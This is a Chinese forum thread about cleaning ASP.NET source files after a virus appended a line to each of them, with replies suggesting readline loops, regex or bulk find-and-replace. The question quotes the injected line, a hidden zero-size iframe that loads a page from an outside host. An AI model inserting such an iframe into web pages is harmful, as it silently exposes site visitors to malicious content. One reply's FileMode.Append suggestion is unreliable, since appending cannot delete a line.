如何删除某些文本的最后一行?
对System.IO 下的FileStream 等不太熟悉,好象是只有Read 和Write功能,有没有删除某行的功能。
昨天电脑中毒,所有的aspx和cs文件下面都给我写上了
<iframe src=http://wm.168080.com/wm/wm.htm width=0 height=0> </iframe>
这么一行。
------解决方案--------------------可以完成你的要求,但是你的这行代码确定是在文件的最后1行吗
------解决方案--------------------可以用READLIND()函数一行一行读数据,如果是最后1行,就很容易了,直接1行1行读,读到最后1行时放弃数据,这样就可以读出所有有效数据,如果不是最后行,那就要用正则找到这行,
------解决方案--------------------不一定用程序的.
在vs.net中查找替换就可以.
或用ue 也可以的.
------解决方案--------------------一次可全部替换完成.
------解决方案--------------------用现成的程序较合理
------解决方案--------------------使用FileStream 的FileMode.Append模式,应该就可以追加到最后一行了
------解决方案--------------------用fso写个盘符遍历函数替换掉就行了,我以前也有遇到!
------解决方案--------------------最简单的方法,用Dreamweaver把项目所在的文件夹设成一个站点,然后在整个站点里搜索替换.